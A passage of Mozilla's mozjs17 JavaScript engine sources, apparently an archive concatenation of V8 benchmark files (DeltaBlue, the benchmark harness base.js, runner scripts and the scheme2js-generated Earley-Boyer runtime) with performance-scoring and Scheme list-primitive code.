== mark) { this.incrementalRemove(c); return false; } d.recalculate(); this.addConstraintsConsumingTo(d.output(), todo); } /* END LOOP */ return true; } /** * Update the walkabout strengths and stay flags of all variables * downstream of the given constraint. Answer a collection of * unsatisfied constraints sorted in order of decreasing strength. */ Planner.prototype.removePropagateFrom = function (out) { out.determinedBy = null; out.walkStrength = Strength.WEAKEST; out.stay = true; var unsatisfied = new OrderedCollection(); var todo = new OrderedCollection(); todo.add(out); /* BEGIN LOOP */ while (todo.size() > 0) { var v = todo.removeFirst(); /* BEGIN LOOP */ for (var i = 0; i < v.constraints.size(); i++) { var c = v.constraints.at(i); if (!c.isSatisfied()) unsatisfied.add(c); } /* END LOOP */ var determining = v.determinedBy; /* BEGIN LOOP */ for (var i = 0; i < v.constraints.size(); i++) { var next = v.constraints.at(i); if (next != determining && next.isSatisfied()) { next.recalculate(); todo.add(next.output()); } } /* END LOOP */ } /* END LOOP */ return unsatisfied; } Planner.prototype.addConstraintsConsumingTo = function (v, coll) { var determining = v.determinedBy; var cc = v.constraints; /* BEGIN LOOP */ for (var i = 0; i < cc.size(); i++) { var c = cc.at(i); if (c != determining && c.isSatisfied()) coll.add(c); } /* END LOOP */ } /* --- * * P l a n * --- */ /** * A Plan is an ordered list of constraints to be executed in sequence * to resatisfy all currently satisfiable constraints in the face of * one or more changing inputs. */ function Plan() { this.v = new OrderedCollection(); } Plan.prototype.addConstraint = function (c) { this.v.add(c); } Plan.prototype.size = function () { return this.v.size(); } Plan.prototype.constraintAt = function (index) { return this.v.at(index); } Plan.prototype.execute = function () { /* BEGIN LOOP */ for (var i = 0; i < this.size(); i++) { var c = this.constraintAt(i); c.execute(); } /* END LOOP */ } /* --- * * M a i n * --- */ /** * This is the standard DeltaBlue benchmark. A long chain of equality * constraints is constructed with a stay constraint on one end. An * edit constraint is then added to the opposite end and the time is * measured for adding and removing this constraint, and extracting * and executing a constraint satisfaction plan. There are two cases. * In case 1, the added constraint is stronger than the stay * constraint and values must propagate down the entire length of the * chain. In case 2, the added constraint is weaker than the stay * constraint so it cannot be accomodated. The cost in this case is, * of course, very low. Typical situations lie somewhere between these * two extremes. */ function chainTest(n) { planner = new Planner(); var prev = null, first = null, last = null; // Build chain of n equality constraints /* BEGIN LOOP */ for (var i = 0; i <= n; i++) { var name = "v" + i; var v = new Variable(name); if (prev != null) new EqualityConstraint(prev, v, Strength.REQUIRED); if (i == 0) first = v; if (i == n) last = v; prev = v; } /* END LOOP */ new StayConstraint(last, Strength.STRONG_DEFAULT); var edit = new EditConstraint(first, Strength.PREFERRED); var edits = new OrderedCollection(); edits.add(edit); var plan = planner.extractPlanFromConstraints(edits); /* BEGIN LOOP */ for (var i = 0; i < 100; i++) { first.value = i; plan.execute(); if (last.value != i) alert("Chain test failed."); } /* END LOOP */ } /** * This test constructs a two sets of variables related to each * other by a simple linear transformation (scale and offset). The * time is measured to change a variable on either side of the * mapping and to change the scale and offset factors. */ function projectionTest(n) { planner = new Planner(); var scale = new Variable("scale", 10); var offset = new Variable("offset", 1000); var src = null, dst = null; var dests = new OrderedCollection(); /* BEGIN LOOP */ for (var i = 0; i < n; i++) { src = new Variable("src" + i, i); dst = new Variable("dst" + i, i); dests.add(dst); new StayConstraint(src, Strength.NORMAL); new ScaleConstraint(src, scale, offset, dst, Strength.REQUIRED); } /* END LOOP */ change(src, 17); if (dst.value != 1170) alert("Projection 1 failed"); change(dst, 1050); if (src.value != 5) alert("Projection 2 failed"); change(scale, 5); /* BEGIN LOOP */ for (var i = 0; i < n - 1; i++) { if (dests.at(i).value != i * 5 + 1000) alert("Projection 3 failed"); } /* END LOOP */ change(offset, 2000); /* BEGIN LOOP */ for (var i = 0; i < n - 1; i++) { if (dests.at(i).value != i * 5 + 2000) alert("Projection 4 failed"); } /* END LOOP */ } function change(v, newValue) { var edit = new EditConstraint(v, Strength.PREFERRED); var edits = new OrderedCollection(); edits.add(edit); var plan = planner.extractPlanFromConstraints(edits); /* BEGIN LOOP */ for (var i = 0; i < 10; i++) { v.value = newValue; plan.execute(); } /* END LOOP */ edit.destroyConstraint(); } // Global variable holding the current planner. var planner = null; function deltaBlue() { chainTest(100); projectionTest(100); } function PrintResult(name, result) { } function PrintScore(score) { } BenchmarkSuite.RunSuites({ NotifyResult: PrintResult, NotifyScore: PrintScore }); mozjs17.0.0/js/src/metrics/jint/v8/run.js0000664000175000017500000000366512106270663020127 0ustar sstanglsstangl// Copyright 2008 Google Inc. All Rights Reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. load('base.js'); load('richards.js'); load('deltablue.js'); load('crypto.js'); load('raytrace.js'); load('earley-boyer.js'); function PrintResult(name, result) { print(name + ': ' + result); } function PrintScore(score) { print('----'); print('Score: ' + score); } BenchmarkSuite.RunSuites({ NotifyResult: PrintResult, NotifyScore: PrintScore }); mozjs17.0.0/js/src/metrics/jint/v8/base.js0000664000175000017500000002104212106270663020222 0ustar sstanglsstangl// Copyright 2008 the V8 project authors. All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // Simple framework for running the benchmark suites and // computing a score based on the timing measurements. // A benchmark has a name (string) and a function that will be run to // do the performance measurement. The optional setup and tearDown // arguments are functions that will be invoked before and after // running the benchmark, but the running time of these functions will // not be accounted for in the benchmark score. function Benchmark(name, run, setup, tearDown) { this.name = name; this.run = run; this.Setup = setup ? setup : function() { }; this.TearDown = tearDown ? tearDown : function() { }; } // Benchmark results hold the benchmark and the measured time used to // run the benchmark. The benchmark score is computed later once a // full benchmark suite has run to completion. function BenchmarkResult(benchmark, time) { this.benchmark = benchmark; this.time = time; } // Automatically convert results to numbers. Used by the geometric // mean computation. BenchmarkResult.prototype.valueOf = function() { return this.time; } // Suites of benchmarks consist of a name and the set of benchmarks in // addition to the reference timing that the final score will be based // on. This way, all scores are relative to a reference run and higher // scores implies better performance. function BenchmarkSuite(name, reference, benchmarks) { this.name = name; this.reference = reference; this.benchmarks = benchmarks; BenchmarkSuite.suites.push(this); } // Keep track of all declared benchmark suites. BenchmarkSuite.suites = []; // Scores are not comparable across versions. Bump the version if // you're making changes that will affect that scores, e.g. if you add // a new benchmark or change an existing one. BenchmarkSuite.version = '5'; // To make the benchmark results predictable, we replace Math.random // with a 100% deterministic alternative. Math.random = (function() { var seed = 49734321; return function() { // Robert Jenkins' 32 bit integer hash function. seed = ((seed + 0x7ed55d16) + (seed << 12)) & 0xffffffff; seed = ((seed ^ 0xc761c23c) ^ (seed >>> 19)) & 0xffffffff; seed = ((seed + 0x165667b1) + (seed << 5)) & 0xffffffff; seed = ((seed + 0xd3a2646c) ^ (seed << 9)) & 0xffffffff; seed = ((seed + 0xfd7046c5) + (seed << 3)) & 0xffffffff; seed = ((seed ^ 0xb55a4f09) ^ (seed >>> 16)) & 0xffffffff; return (seed & 0xfffffff) / 0x10000000; }; })(); // Runs all registered benchmark suites and optionally yields between // each individual benchmark to avoid running for too long in the // context of browsers. Once done, the final score is reported to the // runner. BenchmarkSuite.RunSuites = function(runner) { var continuation = null; var suites = BenchmarkSuite.suites; var length = suites.length; BenchmarkSuite.scores = []; var index = 0; function RunStep() { while (continuation || index < length) { if (continuation) { continuation = continuation(); } else { var suite = suites[index++]; if (runner.NotifyStart) runner.NotifyStart(suite.name); continuation = suite.RunStep(runner); } if (continuation && typeof window != 'undefined' && window.setTimeout) { window.setTimeout(RunStep, 25); return; } } if (runner.NotifyScore) { var score = BenchmarkSuite.GeometricMean(BenchmarkSuite.scores); var formatted = BenchmarkSuite.FormatScore(100 * score); runner.NotifyScore(formatted); } } RunStep(); } // Counts the total number of registered benchmarks. Useful for // showing progress as a percentage. BenchmarkSuite.CountBenchmarks = function() { var result = 0; var suites = BenchmarkSuite.suites; for (var i = 0; i < suites.length; i++) { result += suites[i].benchmarks.length; } return result; } // Computes the geometric mean of a set of numbers. BenchmarkSuite.GeometricMean = function(numbers) { var log = 0; for (var i = 0; i < numbers.length; i++) { log += Math.log(numbers[i]); } return Math.pow(Math.E, log / numbers.length); } // Converts a score value to a string with at least three significant // digits. BenchmarkSuite.FormatScore = function(value) { if (value > 100) { return value.toFixed(0); } else { return value.toPrecision(3); } } // Notifies the runner that we're done running a single benchmark in // the benchmark suite. This can be useful to report progress. BenchmarkSuite.prototype.NotifyStep = function(result) { this.results.push(result); if (this.runner.NotifyStep) this.runner.NotifyStep(result.benchmark.name); } // Notifies the runner that we're done with running a suite and that // we have a result which can be reported to the user if needed. BenchmarkSuite.prototype.NotifyResult = function() { var mean = BenchmarkSuite.GeometricMean(this.results); var score = this.reference / mean; BenchmarkSuite.scores.push(score); if (this.runner.NotifyResult) { var formatted = BenchmarkSuite.FormatScore(100 * score); this.runner.NotifyResult(this.name, formatted); } } // Notifies the runner that running a benchmark resulted in an error. BenchmarkSuite.prototype.NotifyError = function(error) { if (this.runner.NotifyError) { this.runner.NotifyError(this.name, error); } if (this.runner.NotifyStep) { this.runner.NotifyStep(this.name); } } // Runs a single benchmark for at least a second and computes the // average time it takes to run a single iteration. BenchmarkSuite.prototype.RunSingleBenchmark = function(benchmark) { var elapsed = 0; var start = new Date(); for (var n = 0; elapsed < 1000; n++) { benchmark.run(); elapsed = new Date() - start; } var usec = (elapsed * 1000) / n; this.NotifyStep(new BenchmarkResult(benchmark, usec)); } // This function starts running a suite, but stops between each // individual benchmark in the suite and returns a continuation // function which can be invoked to run the next benchmark. Once the // last benchmark has been executed, null is returned. BenchmarkSuite.prototype.RunStep = function(runner) { this.results = []; this.runner = runner; var length = this.benchmarks.length; var index = 0; var suite = this; // Run the setup, the actual benchmark, and the tear down in three // separate steps to allow the framework to yield between any of the // steps. function RunNextSetup() { if (index < length) { try { suite.benchmarks[index].Setup(); } catch (e) { suite.NotifyError(e); return null; } return RunNextBenchmark; } suite.NotifyResult(); return null; } function RunNextBenchmark() { try { suite.RunSingleBenchmark(suite.benchmarks[index]); } catch (e) { suite.NotifyError(e); return null; } return RunNextTearDown; } function RunNextTearDown() { try { suite.benchmarks[index++].TearDown(); } catch (e) { suite.NotifyError(e); return null; } return RunNextSetup; } // Start out running the setup. return RunNextSetup(); } mozjs17.0.0/js/src/metrics/jint/v8/run-earley-boyer.js0000664000175000017500000000354112106270663022515 0ustar sstanglsstangl// Copyright 2008 Google Inc. All Rights Reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. load('base.js'); load('earley-boyer.js'); function PrintResult(name, result) { print(name + ': ' + result); } function PrintScore(score) { print('----'); print('Score: ' + score); } BenchmarkSuite.RunSuites({ NotifyResult: PrintResult, NotifyScore: PrintScore }); mozjs17.0.0/js/src/metrics/jint/v8/run-richards.js0000664000175000017500000000353512106270663021720 0ustar sstanglsstangl// Copyright 2008 Google Inc. All Rights Reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. load('base.js'); load('richards.js'); function PrintResult(name, result) { print(name + ': ' + result); } function PrintScore(score) { print('----'); print('Score: ' + score); } BenchmarkSuite.RunSuites({ NotifyResult: PrintResult, NotifyScore: PrintScore }); mozjs17.0.0/js/src/metrics/jint/v8/earley-boyer.js0000664000175000017500000057515712106270663021734 0ustar sstanglsstangl// This file is automatically generated by scheme2js, except for the // benchmark harness code at the beginning and end of the file. var EarleyBoyer = new BenchmarkSuite('EarleyBoyer', 765819, [ new Benchmark("Earley", function () { BgL_earleyzd2benchmarkzd2(); }), new Benchmark("Boyer", function () { BgL_nboyerzd2benchmarkzd2(); }) ]); /************* GENERATED FILE - DO NOT EDIT *************/ /************* GENERATED FILE - DO NOT EDIT *************/ /************* GENERATED FILE - DO NOT EDIT *************/ /************* GENERATED FILE - DO NOT EDIT *************/ /************* GENERATED FILE - DO NOT EDIT *************/ /************* GENERATED FILE - DO NOT EDIT *************/ /************* GENERATED FILE - DO NOT EDIT *************/ /************* GENERATED FILE - DO NOT EDIT *************/ /* * To use write/prints/... the default-output port has to be set first. * Simply setting SC_DEFAULT_OUT and SC_ERROR_OUT to the desired values * should do the trick. * In the following example the std-out and error-port are redirected to * a DIV. function initRuntime() { function escapeHTML(s) { var tmp = s; tmp = tmp.replace(/&/g, "&"); tmp = tmp.replace(//g, ">"); tmp = tmp.replace(/ /g, " "); tmp = tmp.replace(/\n/g, "
"); tmp = tmp.replace(/\t/g, "    "); return tmp; } document.write("
"); SC_DEFAULT_OUT = new sc_GenericOutputPort( function(s) { var stdout = document.getElementById('stdout'); stdout.innerHTML = stdout.innerHTML + escapeHTML(s); }); SC_ERROR_OUT = SC_DEFAULT_OUT; } */ function sc_print_debug() { sc_print.apply(null, arguments); } /*** META ((export *js*)) */ var sc_JS_GLOBALS = this; var __sc_LINE=-1; var __sc_FILE=""; /*** META ((export #t)) */ function sc_alert() { var len = arguments.length; var s = ""; var i; for( i = 0; i < len; i++ ) { s += sc_toDisplayString(arguments[ i ]); } return alert( s ); } /*** META ((export #t)) */ function sc_typeof( x ) { return typeof x; } /*** META ((export #t)) */ function sc_error() { var a = [sc_jsstring2symbol("*error*")]; for (var i = 0; i < arguments.length; i++) { a[i+1] = arguments[i]; } throw a; } /*** META ((export #t) (peephole (prefix "throw "))) */ function sc_raise(obj) { throw obj; } /*** META ((export with-handler-lambda)) */ function sc_withHandlerLambda(handler, body) { try { return body(); } catch(e) { if (!e._internalException) return handler(e); else throw e; } } var sc_properties = new Object(); /*** META ((export #t)) */ function sc_putpropBang(sym, key, val) { var ht = sc_properties[sym]; if (!ht) { ht = new Object(); sc_properties[sym] = ht; } ht[key] = val; } /*** META ((export #t)) */ function sc_getprop(sym, key) { var ht = sc_properties[sym]; if (ht) { if (key in ht) return ht[key]; else return false; } else return false; } /*** META ((export #t)) */ function sc_rempropBang(sym, key) { var ht = sc_properties[sym]; if (ht) delete ht[key]; } /*** META ((export #t)) */ function sc_any2String(o) { return jsstring2string(sc_toDisplayString(o)); } /*** META ((export #t) (peephole (infix 2 2 "===")) (type bool)) */ function sc_isEqv(o1, o2) { return (o1 === o2); } /*** META ((export #t) (peephole (infix 2 2 "===")) (type bool)) */ function sc_isEq(o1, o2) { return (o1 === o2); } /*** META ((export #t) (type bool)) */ function sc_isNumber(n) { return (typeof n === "number"); } /*** META ((export #t) (type bool)) */ function sc_isComplex(n) { return sc_isNumber(n); } /*** META ((export #t) (type bool)) */ function sc_isReal(n) { return sc_isNumber(n); } /*** META ((export #t) (type bool)) */ function sc_isRational(n) { return sc_isReal(n); } /*** META ((export #t) (type bool)) */ function sc_isInteger(n) { return (parseInt(n) === n); } /*** META ((export #t) (type bool) (peephole (postfix ", false"))) */ // we don't have exact numbers... function sc_isExact(n) { return false; } /*** META ((export #t) (peephole (postfix ", true")) (type bool)) */ function sc_isInexact(n) { return true; } /*** META ((export = =fx =fl) (type bool) (peephole (infix 2 2 "==="))) */ function sc_equal(x) { for (var i = 1; i < arguments.length; i++) if (x !== arguments[i]) return false; return true; } /*** META ((export < = arguments[i]) return false; x = arguments[i]; } return true; } /*** META ((export > >fx >fl) (type bool) (peephole (infix 2 2 ">"))) */ function sc_greater(x, y) { for (var i = 1; i < arguments.length; i++) { if (x <= arguments[i]) return false; x = arguments[i]; } return true; } /*** META ((export <= <=fx <=fl) (type bool) (peephole (infix 2 2 "<="))) */ function sc_lessEqual(x, y) { for (var i = 1; i < arguments.length; i++) { if (x > arguments[i]) return false; x = arguments[i]; } return true; } /*** META ((export >= >=fl >=fx) (type bool) (peephole (infix 2 2 ">="))) */ function sc_greaterEqual(x, y) { for (var i = 1; i < arguments.length; i++) { if (x < arguments[i]) return false; x = arguments[i]; } return true; } /*** META ((export #t) (type bool) (peephole (postfix "=== 0"))) */ function sc_isZero(x) { return (x === 0); } /*** META ((export #t) (type bool) (peephole (postfix "> 0"))) */ function sc_isPositive(x) { return (x > 0); } /*** META ((export #t) (type bool) (peephole (postfix "< 0"))) */ function sc_isNegative(x) { return (x < 0); } /*** META ((export #t) (type bool) (peephole (postfix "%2===1"))) */ function sc_isOdd(x) { return (x % 2 === 1); } /*** META ((export #t) (type bool) (peephole (postfix "%2===0"))) */ function sc_isEven(x) { return (x % 2 === 0); } /*** META ((export #t)) */ var sc_max = Math.max; /*** META ((export #t)) */ var sc_min = Math.min; /*** META ((export + +fx +fl) (peephole (infix 0 #f "+" "0"))) */ function sc_plus() { var sum = 0; for (var i = 0; i < arguments.length; i++) sum += arguments[i]; return sum; } /*** META ((export * *fx *fl) (peephole (infix 0 #f "*" "1"))) */ function sc_multi() { var product = 1; for (var i = 0; i < arguments.length; i++) product *= arguments[i]; return product; } /*** META ((export - -fx -fl) (peephole (minus))) */ function sc_minus(x) { if (arguments.length === 1) return -x; else { var res = x; for (var i = 1; i < arguments.length; i++) res -= arguments[i]; return res; } } /*** META ((export / /fl) (peephole (div))) */ function sc_div(x) { if (arguments.length === 1) return 1/x; else { var res = x; for (var i = 1; i < arguments.length; i++) res /= arguments[i]; return res; } } /*** META ((export #t)) */ var sc_abs = Math.abs; /*** META ((export quotient /fx) (peephole (hole 2 "parseInt(" x "/" y ")"))) */ function sc_quotient(x, y) { return parseInt(x / y); } /*** META ((export #t) (peephole (infix 2 2 "%"))) */ function sc_remainder(x, y) { return x % y; } /*** META ((export #t) (peephole (modulo))) */ function sc_modulo(x, y) { var remainder = x % y; // if they don't have the same sign if ((remainder * y) < 0) return remainder + y; else return remainder; } function sc_euclid_gcd(a, b) { var temp; if (a === 0) return b; if (b === 0) return a; if (a < 0) {a = -a;}; if (b < 0) {b = -b;}; if (b > a) {temp = a; a = b; b = temp;}; while (true) { a %= b; if(a === 0) {return b;}; b %= a; if(b === 0) {return a;}; }; return b; } /*** META ((export #t)) */ function sc_gcd() { var gcd = 0; for (var i = 0; i < arguments.length; i++) gcd = sc_euclid_gcd(gcd, arguments[i]); return gcd; } /*** META ((export #t)) */ function sc_lcm() { var lcm = 1; for (var i = 0; i < arguments.length; i++) { var f = Math.round(arguments[i] / sc_euclid_gcd(arguments[i], lcm)); lcm *= Math.abs(f); } return lcm; } // LIMITATION: numerator and denominator don't make sense in floating point world. //var SC_MAX_DECIMALS = 1000000 // // function sc_numerator(x) { // var rounded = Math.round(x * SC_MAX_DECIMALS); // return Math.round(rounded / sc_euclid_gcd(rounded, SC_MAX_DECIMALS)); // } // function sc_denominator(x) { // var rounded = Math.round(x * SC_MAX_DECIMALS); // return Math.round(SC_MAX_DECIMALS / sc_euclid_gcd(rounded, SC_MAX_DECIMALS)); // } /*** META ((export #t)) */ var sc_floor = Math.floor; /*** META ((export #t)) */ var sc_ceiling = Math.ceil; /*** META ((export #t)) */ var sc_truncate = parseInt; /*** META ((export #t)) */ var sc_round = Math.round; // LIMITATION: sc_rationalize doesn't make sense in a floating point world. /*** META ((export #t)) */ var sc_exp = Math.exp; /*** META ((export #t)) */ var sc_log = Math.log; /*** META ((export #t)) */ var sc_sin = Math.sin; /*** META ((export #t)) */ var sc_cos = Math.cos; /*** META ((export #t)) */ var sc_tan = Math.tan; /*** META ((export #t)) */ var sc_asin = Math.asin; /*** META ((export #t)) */ var sc_acos = Math.acos; /*** META ((export #t)) */ var sc_atan = Math.atan; /*** META ((export #t)) */ var sc_sqrt = Math.sqrt; /*** META ((export #t)) */ var sc_expt = Math.pow; // LIMITATION: we don't have complex numbers. // LIMITATION: the following functions are hence not implemented. // LIMITATION: make-rectangular, make-polar, real-part, imag-part, magnitude, angle // LIMITATION: 2 argument atan /*** META ((export #t) (peephole (id))) */ function sc_exact2inexact(x) { return x; } /*** META ((export #t) (peephole (id))) */ function sc_inexact2exact(x) { return x; } function sc_number2jsstring(x, radix) { if (radix) return x.toString(radix); else return x.toString(); } function sc_jsstring2number(s, radix) { if (s === "") return false; if (radix) { var t = parseInt(s, radix); if (!t && t !== 0) return false; // verify that each char is in range. (parseInt ignores leading // white and trailing chars) var allowedChars = "01234567890abcdefghijklmnopqrstuvwxyz".substring(0, radix+1); if ((new RegExp("^["+allowedChars+"]*$", "i")).test(s)) return t; else return false; } else { var t = +s; // does not ignore trailing chars. if (!t && t !== 0) return false; // simply verify that first char is not whitespace. var c = s.charAt(0); // if +c is 0, but the char is not "0", then we have a whitespace. if (+c === 0 && c !== "0") return false; return t; } } /*** META ((export #t) (type bool) (peephole (not))) */ function sc_not(b) { return b === false; } /*** META ((export #t) (type bool)) */ function sc_isBoolean(b) { return (b === true) || (b === false); } function sc_Pair(car, cdr) { this.car = car; this.cdr = cdr; } sc_Pair.prototype.toString = function() { return sc_toDisplayString(this); }; sc_Pair.prototype.sc_toWriteOrDisplayString = function(writeOrDisplay) { var current = this; var res = "("; while(true) { res += writeOrDisplay(current.car); if (sc_isPair(current.cdr)) { res += " "; current = current.cdr; } else if (current.cdr !== null) { res += " . " + writeOrDisplay(current.cdr); break; } else // current.cdr == null break; } res += ")"; return res; }; sc_Pair.prototype.sc_toDisplayString = function() { return this.sc_toWriteOrDisplayString(sc_toDisplayString); }; sc_Pair.prototype.sc_toWriteString = function() { return this.sc_toWriteOrDisplayString(sc_toWriteString); }; // sc_Pair.prototype.sc_toWriteCircleString in IO.js /*** META ((export #t) (type bool) (peephole (postfix " instanceof sc_Pair"))) */ function sc_isPair(p) { return (p instanceof sc_Pair); } function sc_isPairEqual(p1, p2, comp) { return (comp(p1.car, p2.car) && comp(p1.cdr, p2.cdr)); } /*** META ((export #t) (peephole (hole 2 "new sc_Pair(" car ", " cdr ")"))) */ function sc_cons(car, cdr) { return new sc_Pair(car, cdr); } /*** META ((export cons*)) */ function sc_consStar() { var res = arguments[arguments.length - 1]; for (var i = arguments.length-2; i >= 0; i--) res = new sc_Pair(arguments[i], res); return res; } /*** META ((export #t) (peephole (postfix ".car"))) */ function sc_car(p) { return p.car; } /*** META ((export #t) (peephole (postfix ".cdr"))) */ function sc_cdr(p) { return p.cdr; } /*** META ((export #t) (peephole (hole 2 p ".car = " val))) */ function sc_setCarBang(p, val) { p.car = val; } /*** META ((export #t) (peephole (hole 2 p ".cdr = " val))) */ function sc_setCdrBang(p, val) { p.cdr = val; } /*** META ((export #t) (peephole (postfix ".car.car"))) */ function sc_caar(p) { return p.car.car; } /*** META ((export #t) (peephole (postfix ".cdr.car"))) */ function sc_cadr(p) { return p.cdr.car; } /*** META ((export #t) (peephole (postfix ".car.cdr"))) */ function sc_cdar(p) { return p.car.cdr; } /*** META ((export #t) (peephole (postfix ".cdr.cdr"))) */ function sc_cddr(p) { return p.cdr.cdr; } /*** META ((export #t) (peephole (postfix ".car.car.car"))) */ function sc_caaar(p) { return p.car.car.car; } /*** META ((export #t) (peephole (postfix ".car.cdr.car"))) */ function sc_cadar(p) { return p.car.cdr.car; } /*** META ((export #t) (peephole (postfix ".cdr.car.car"))) */ function sc_caadr(p) { return p.cdr.car.car; } /*** META ((export #t) (peephole (postfix ".cdr.cdr.car"))) */ function sc_caddr(p) { return p.cdr.cdr.car; } /*** META ((export #t) (peephole (postfix ".car.car.cdr"))) */ function sc_cdaar(p) { return p.car.car.cdr; } /*** META ((export #t) (peephole (postfix ".cdr.car.cdr"))) */ function sc_cdadr(p) { return p.cdr.car.cdr; } /*** META ((export #t) (peephole (postfix ".car.cdr.cdr"))) */ function sc_cddar(p) { return p.car.cdr.cdr; } /*** META ((export #t) (peephole (postfix ".cdr.cdr.cdr"))) */ function sc_cdddr(p) { return p.cdr.cdr.cdr; } /*** META ((export #t) (peephole (postfix ".car.car.car.car"))) */ function sc_caaaar(p) { return p.car.car.car.car; } /*** META ((export #t) (peephole (postfix ".car.cdr.car.car"))) */ function sc_caadar(p) { return p.car.cdr.car.car; } /*** META ((export #t) (peephole (postfix ".cdr.car.car.car"))) */ function sc_caaadr(p) { return p.cdr.car.car.car; } /*** META ((export #t) (peephole (postfix ".cdr.cdr.car.car"))) */ function sc_caaddr(p) { return p.cdr.cdr.car.car; } /*** META ((export #t) (peephole (postfix ".car.car.car.cdr"))) */ function sc_cdaaar(p) { return p.car.car.car.cdr; } /*** META ((export #t) (peephole (postfix ".car.cdr.car.cdr"))) */ function sc_cdadar(p) { return p.car.cdr.car.cdr; } /*** META ((export #t) (peephole (postfix ".cdr.car.car.cdr"))) */ function sc_cdaadr(p) { return p.cdr.car.car.cdr; } /*** META ((export #t) (peephole (postfix ".cdr.cdr.car.cdr"))) */ function sc_cdaddr(p) { return p.cdr.cdr.car.cdr; } /*** META 